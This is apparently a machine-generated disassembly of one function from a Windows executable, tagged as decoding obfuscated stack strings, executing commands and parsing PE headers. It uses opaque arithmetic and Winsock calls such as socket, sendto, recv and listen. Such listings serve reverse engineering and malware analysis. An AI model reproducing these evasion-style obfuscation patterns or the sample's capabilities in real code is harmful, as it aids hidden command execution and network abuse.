Function at 0x1400447b0
Capabilities:
Contain obfuscated stackstrings
Execute command
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x340]
sub rsp, 0x440
mov rax, qword [0x1401dd780]
xor rax, rsp
mov qword [rbp + 0x330], rax
mov byte [rbp - 0x40], 0xdb
mov byte [rbp - 0x3f], 0xe3
mov byte [rbp - 0x3e], 0xbe
mov byte [rbp - 0x3d], 0xc4
mov byte [rbp - 0x3c], 0x4d
mov byte [rbp - 0x3b], 0x53
mov byte [rbp - 0x3a], 0x4a
mov byte [rbp - 0x39], 0x50
mov byte [rbp - 0x38], 0x5f
mov byte [rbp - 0x37], 0x52
mov byte [rbp - 0x36], 0x46
mov byte [rbp - 0x35], 0x30
mov byte [rbp - 0x34], 0x55
mov byte [rbp - 0x33], 0x5e
mov byte [rbp - 0x32], 0x52
mov byte [rbp - 0x31], 0x42
mov byte [rbp - 0x30], 0x5d
mov byte [rbp - 0x2f], 0x1a
mov byte [rbp - 0x2e], 0x18
mov byte [rbp - 0x2d], 0x4f
mov byte [rbp - 0x2c], 0x58
mov byte [rbp - 0x2b], 0x47
mov byte [rbp - 0x2a], 0x5f
mov byte [rbp - 0x29], 0x49
mov byte [rbp - 0x28], 0x5d
mov byte [rbp - 0x27], 0x43
mov byte [rbp - 0x26], 0x41
mov byte [rbp - 0x25], 0xf3
xorps xmm0, xmm0
movups xmmword [rbp - 0x24], xmm0
movabs r13, 0x6a90697d129a17c
movabs r14, 0x8bdd8a74286a3f2c
movabs r15, 0x9dc6946e919aae54
movabs r12, 0x9074873eef476b5c
movzx edi, byte [rsp + 0x20]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x2c
jae 0x140045489
movzx r10d, byte [rbp + r11 - 0x40]
movzx esi, r10b
cmp rbx, r11
ja 0x140045480
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400448e3
lea rcx, [r11 + r13]
mov rax, rcx
and rax, r10
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r10
sub dil, 0x64
jmp 0x14004492a
je 0x140045408
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400453d5
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140045397
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140045372
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004534a
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400452fe
movzx esi, r10b
nop
cmp r8, r11
ja 0x140045477
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14004495c
lea rcx, [r11 + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x34
jmp 0x1400449a0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400452e1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400452d3
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400452b7
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140045298
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14004526d
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140044fc6
nop dword [rax]
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140044fa6
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140044f75
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140044f47
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140044f24
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140044f01
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140044ed9
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140044eb1
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140044e8e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140044e5c
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400449b0
lea rbx, [r8 + 4]
lea r8, [rbx + 0x61]
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14004545a
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14004543a
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140044b9d
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140044b7e
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140044b64
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140044e04
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140044dae
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140044d61
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140044d36
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x1400449b0
lea rbx, [r8 + 0x20]
lea r8, [rbx + 3]
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140044d04
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140044ce1
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140044cb9
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140044c91
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140044c6e
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140044c4b
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140044c22
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140044bf1
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140044bc5
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400449b0
lea rbx, [r8 + 2]
lea r8, [rbx + 0x400]
jmp 0x1400449b0
lea rcx, [r11 + r15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x4c
jmp 0x1400449a0
lea rcx, [r11 + r12]
movzx eax, cl
and al, r10b
mov edx, 0x3e
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, sil
jmp 0x140044930
movabs rcx, 0x83227a0f4cf42864
add rcx, r11
movzx eax, cl
and al, r10b
mov edx, 0x22
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, sil
jmp 0x1400448b7
movabs rcx, 0x5eec53a14351f960
add rcx, r11
movzx eax, cl
and al, r10b
mov edx, 0x30
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, sil
movzx r9d, r11b
jmp 0x140045320
movabs rcx, 0x519a4671a0feb668
add rcx, r11
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_sendto
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, sil
inc r8
dec r11
inc r11
jmp 0x1400448a3
movabs rcx, 0x44483941feab7370
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x10
dec r11
inc r11
jmp 0x1400448a3
movabs rcx, 0x36f62c125c583078
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x48
jmp 0x1400453b5
movabs rcx, 0x29a41ee2ba04ed80
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rsi + rcx]
add dil, 0x80
jmp 0x1400453ec
movabs rcx, 0x1c5211b317b1aa88
add rcx, r11
movzx eax, cl
and al, r10b
mov edx, 0x24
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, sil
jmp 0x1400453ef
movabs rcx, 0xf000483755e6790
add rcx, r11
movzx eax, cl
and al, r10b
mov edx, 8
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, sil
jmp 0x140045205
movabs rcx, 0x1adf753d30b2498
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x28
jmp 0x14004522e
movabs rcx, 0xf45bea2430b7e1a0
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x60
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x1400448a3
movabs rcx, 0xd30ec92d1ae7ba34
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x6c
mov byte [rbp + r11 - 0x40], dil
inc r11
jmp 0x1400448a3
movabs rcx, 0xc5bcbbfd7894773c
add rcx, r11
movzx eax, cl
and al, r10b
mov edx, 0x2e
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, sil
cmp r8, 0x20
jb 0x140044d54
movzx r9d, r11b
lea edx, [r9 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140045320
movabs rcx, 0xb86aaecdd6413444
add rcx, r11
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_select
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, sil
cmp rbx, 4
jae 0x1400451cd
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x140045148
lea edx, [r11 - 0x48]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 8
add dil, dl
jmp 0x140044d84
movabs rcx, 0xab18a19e33edf14c
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x14
lea rax, [r8 + rbx]
cmp rax, 0x40
je 0x1400451e8
lea rcx, [r8 + 5]
cmp rbx, rcx
jbe 0x140045079
lea edx, [r11 - 0x74]
movzx eax, r10b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140044dd1
movabs rcx, 0x47313eb8f27d7b08
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x38
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x1400448a3
movabs rcx, 0x39df3189502a3810
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x70
jmp 0x14004522e
movabs rcx, 0x2c8d2459add6f518
add rcx, r11
movzx eax, cl
and al, r10b
mov edx, 0x2c
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, sil
jmp 0x140045205
movabs rcx, 0x1f3b172a0b83b220
add rcx, r11
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_recv
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, sil
jmp 0x1400453ef
movabs rcx, 0x11e909fa69306f28
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x18
jmp 0x1400453ec
movabs rcx, 0x496fccac6dd2c30
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x50
jmp 0x1400453b5
movabs rcx, 0xf744ef9b2489e938
add rcx, r11
movzx eax, cl
and al, r10b
mov edx, 0x3c
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, sil
dec r11
inc r11
jmp 0x1400448a3
movabs rcx, 0xe9f2e26b8236a640
add rcx, r11
movzx eax, cl
and al, r10b
mov edx, 0x20
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, sil
inc r8
dec r11
inc r11
jmp 0x1400448a3
movzx r9d, r11b
lea edx, [r9 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14004531d
lea rax, [r8 + 0x64]
cmp rbx, rax
jae 0x140044fee
lea edx, [r11 + 0x7c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x64
add dil, dl
jmp 0x140044e22
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140045022
lea ecx, [r11 + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x68
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x1400448a3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004504a
lea edx, [r11 + 0x40]
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400453ef
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140044e22
lea ecx, [r11 + 0x28]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x18
dec r11
inc r11
jmp 0x1400448a3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400450a2
movzx r9d, r11b
lea edx, [r9 - 0x7c]
movzx eax, r10b
and al, dl
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14004531d
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400450d0
lea ecx, [r11 + 0x7c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x64
inc r8
dec r11
inc r11
jmp 0x1400448a3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400450fb
lea ecx, [r11 + 0x74]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x2c
dec r11
inc r11
jmp 0x1400448a3
cmp rbx, rcx
jne 0x14004511f
lea edx, [r11 + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400453ef
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140044dd1
lea edx, [r11 + 0x54]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x4c
jmp 0x140045202
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004517f
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x1400448a3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400451a1
lea edx, [r11 - 0x60]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x60
jmp 0x140045202
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140044d84
lea edx, [r11 - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400453ec
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x30
lea edi, [rcx + rcx]
jmp 0x1400453b2
lea edx, [r11 + 0x58]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, r10b
sub dil, 0x68
add dil, dl
lea edx, [r11 - 0x2c]
movzx eax, sil
and al, dl
mov ecx, 0x1a
sub cl, al
add cl, cl
add cl, sil
add cl, dl
movzx eax, cl
mov byte [rbp + r11 - 0x40], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x50]
movzx eax, sil
and al, cl
add al, al
sub sil, al
sub sil, 0x30
add sil, cl
mov byte [rbp + r11 - 0x40], sil
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x1400448a3
lea ecx, [r11 - 0x1c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x3c
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x1400448a3
lea edx, [r11 - 4]
movzx eax, r10b
and al, dl
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400453ef
lea edx, [r11 + 0xc]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x54
jmp 0x1400453b2
lea edx, [r11 + 0x14]
mov ecx, 0x3a
jmp 0x14004537b
movzx r9d, r11b
lea edx, [r9 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14004531d
movzx r9d, r11b
lea edx, [r9 + 0x34]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6c
movzx esi, r10b
add dil, dl
sub r9b, 0x1c
movzx eax, sil
and al, r9b
add al, al
sub sil, al
sub sil, 0x3c
add sil, r9b
mov byte [rbp + r11 - 0x40], sil
inc r8
dec r11
inc r11
jmp 0x1400448a3
lea edx, [r11 + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x1400448a3
lea edx, [r11 + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x1400448a3
lea edx, [r11 + 0x4c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x14
movzx esi, r10b
add dil, dl
lea ecx, [r11 - 0x24]
movzx eax, sil
and al, cl
add al, al
sub sil, al
sub sil, 4
add sil, dil
add sil, cl
mov byte [rbp + r11 - 0x40], sil
jmp 0x1400453ec
lea ecx, [r11 + 0x54]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x4c
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400448a3
movabs rcx, 0x13fb13c7737ce474
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rsi + rcx]
sub dil, 0x2c
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x1400448a3
add r11b, 0x6c
movzx eax, r10b
and al, r11b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x1400448a0
add r11b, 0x74
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x2c
jmp 0x140044890
lea rdx, [rbp + 0x1787f10]
jmp 0x14004548d
lea rdx, [rbp + 0x122208c]
jmp 0x14004548d
lea rdx, [rbp - 0x40]
xorps xmm0, xmm0
movups xmmword [rbp + 0x170], xmm0
mov qword [rbp + 0x180], 0
mov qword [rbp + 0x188], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x1400454b4
lea rcx, [rbp + 0x170]
call fcn.140040cc0
lea rax, [rbp + 0x170]
mov qword [rsp + 0x38], rax
xor r8d, r8d
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x1b0]
call fcn.1400404a0
nop
lea rcx, [rbp + 0x1b0]
cmp qword [rbp + 0x1c8], 7
cmova rcx, qword [rbp + 0x1b0]
call fcn.14013f39c
test eax, eax
jne 0x14004f12a
lea rcx, [rbp + 0x1b0]
call fcn.140051060
nop
mov rdx, qword [rbp + 0x188]
cmp rdx, 0xf
jbe 0x140045562
inc rdx
mov rcx, qword [rbp + 0x170]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004555d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004555d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013d7b8
mov qword [rbp + 0x180], 0
mov qword [rbp + 0x188], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x170], 0
lea rax, [rbp + 0x190]
mov qword [rsp + 0x38], rax
mov byte [rbp + 0x30], 0xa5
mov byte [rbp + 0x31], 0xb2
mov byte [rbp + 0x32], 0x84
mov byte [rbp + 0x33], 0x9b
mov byte [rbp + 0x34], 0x91
mov byte [rbp + 0x35], 0x9f
mov byte [rbp + 0x36], 0x5a
mov byte [rbp + 0x37], __WSAFDIsSet
mov byte [rbp + 0x38], 0x86
mov byte [rbp + 0x39], __WSAFDIsSet
mov byte [rbp + 0x3a], listen
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3b], xmm0
mov dword [rbp + 0x4b], eax
movabs r13, 0x46ff7b2afdbf6507
movzx edi, byte [rsp + 0x20]
movabs r14, 0x50541f645013ebbb
movabs rsi, 0xc255290e549521ad
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
nop word [rax + rax]
xor r12d, r12d
cmp r12, 0x1f
jae 0x140045eba
movzx r10d, byte [rbp + r12 + 0x30]
mov edx, r10d
cmp rbx, r12
ja 0x140045eb1
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140045641
lea rcx, [r12 + rsi]
mov eax, edx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x45
jmp 0x14004566e
je 0x140045e1d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140045dab
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140045d7b
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140045d40
movzx edx, r12b
nop dword [rax]
nop word [rax + rax]
movzx r9d, dl
movzx r14d, dl
movzx r15d, dl
cmp r8, r12
ja 0x140045ea8
lea r11, [r8 + 1]
lea rax, [r8 + 0x61]
cmp rbx, rax
jae 0x1400456c1
lea ecx, [rdx + 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x57
lea rsi, [r8 + 2]
lea rcx, [r8 + 3]
jmp 0x140045700
cmp rbx, r11
je 0x140045d03
lea rsi, [r8 + 2]
cmp rbx, rsi
je 0x140045ce0
lea rcx, [r8 + 3]
cmp rbx, rcx
je 0x140045cc0
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140045ca3
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140045c86
nop
lea rax, [r8 + rbx]
cmp rax, r12
jbe 0x140045a1d
nop dword [rax]
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140045a03
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400459df
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400459c1
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400459a3
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140045985
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140045710
lea rbx, [r8 + 0x41]
lea r8, [rbx + 6]
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140045e8b
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140045e5a
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14004581a
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400458fc
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400458bc
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140045710
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400458a2
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x140045888
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14004586e
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140045854
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140045834
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140045710
lea rbx, [r8 + 0x7a]
lea r8, [rbx + 5]
jmp 0x140045710
lea ecx, [rdx - 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x13
jmp 0x140045680
add dl, 0x2e
movzx eax, dl
and al, r10b
add al, al
sub dl, al
lea edi, [r10 + rdx]
sub dil, 0x42
inc r8
dec r12
jmp 0x140045e3e
add dl, 0x7a
movzx eax, dl
and al, r10b
add al, al
sub dl, al
lea edi, [r10 + rdx]
sub dil, 0x56
jmp 0x140045d5a
sub dl, 0x3a
movzx eax, dl
and al, r10b
add al, al
sub dl, al
lea edi, [r10 + rdx]
sub dil, 0x6a
jmp 0x140045d95
add dl, 0x12
movzx eax, dl
and al, r10b
add al, al
sub dl, al
lea edi, [r10 + rdx]
sub dil, 0x7e
jmp 0x140045ded
sub dl, 0x48
movzx eax, dl
and al, r10b
add al, al
sub dl, al
lea edi, [r10 + rdx]
sub dil, 8
jmp 0x140045e32
sub dl, 3
movzx eax, dl
and al, r10b
add al, al
sub dl, al
lea edi, [r10 + rdx]
add dil, 0x15
cmp r8, 0x3e8
jb 0x140045c48
lea ecx, [r9 - 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 4]
jmp 0x140045d19
add dl, 0x49
movzx eax, dl
and al, r10b
add al, al
sub dl, al
lea edi, [r10 + rdx]
inc dil
lea rax, [r8 + rbx]
cmp rax, 0x400
je 0x140045c70
lea rdx, [r8 + 1]
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x140045ad6
lea ecx, [r9 + 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x71
lea rcx, [r8 + 3]
lea r11, [r8 + 4]
cmp rbx, 6
jae 0x140045c52
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x140045bb9
lea edx, [r9 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400458d1
sub dl, 0x34
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140045ded
add dl, 0x18
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140045d95
add dl, 0x64
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140045d5a
sub dl, 0x50
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r12
jmp 0x140045e3e
add dl, 0x56
movzx eax, dl
and al, r10b
add al, al
sub dl, al
lea edi, [r10 + rdx]
sub dil, 0x5a
jmp 0x140045d19
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140045a43
sub dl, 0x53
movzx eax, dl
and al, r10b
add al, al
sub dl, al
lea edi, [r10 + rdx]
add dil, 0x45
jmp 0x140045910
cmp rbx, r11
jne 0x140045a68
add r15b, 0x62
movzx eax, r15b
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r15b
add dil, r10b
jmp 0x140045e32
cmp rbx, rsi
jne 0x140045a8a
sub r14b, 0x44
movzx eax, r14b
and al, r10b
add al, al
sub r14b, al
lea edi, [r10 + r14]
sub dil, 0x24
jmp 0x140045ded
cmp rbx, rcx
jne 0x140045aae
lea edx, [r9 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140045dc4
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140045910
lea ecx, [r9 + 0x32]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5e
jmp 0x140045d19
cmp rbx, rdx
jne 0x140045af6
lea ecx, [r9 - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 5
jmp 0x140045d19
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140045b1f
add r9b, 0x47
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0xf
dec r12
jmp 0x140045e3e
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140045b45
sub r9b, 5
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x23
jmp 0x140045d92
lea r11, [r8 + 4]
cmp rbx, r11
jne 0x140045b69
lea ecx, [r9 - 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x37
jmp 0x140045dc4
lea rcx, [r8 + 3]
cmp rbx, rcx
jne 0x140045b8f
add r9b, 9
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3f
jmp 0x140045ded
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14004594f
add r9b, 0x63
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x4b
jmp 0x140045e32
cmp rbx, rdx
jne 0x140045bdb
sub r9b, 0x3c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5c
jmp 0x140045e32
cmp rbx, rcx
jne 0x140045bfb
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x140045dc4
cmp rbx, r11
jne 0x140045c20
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
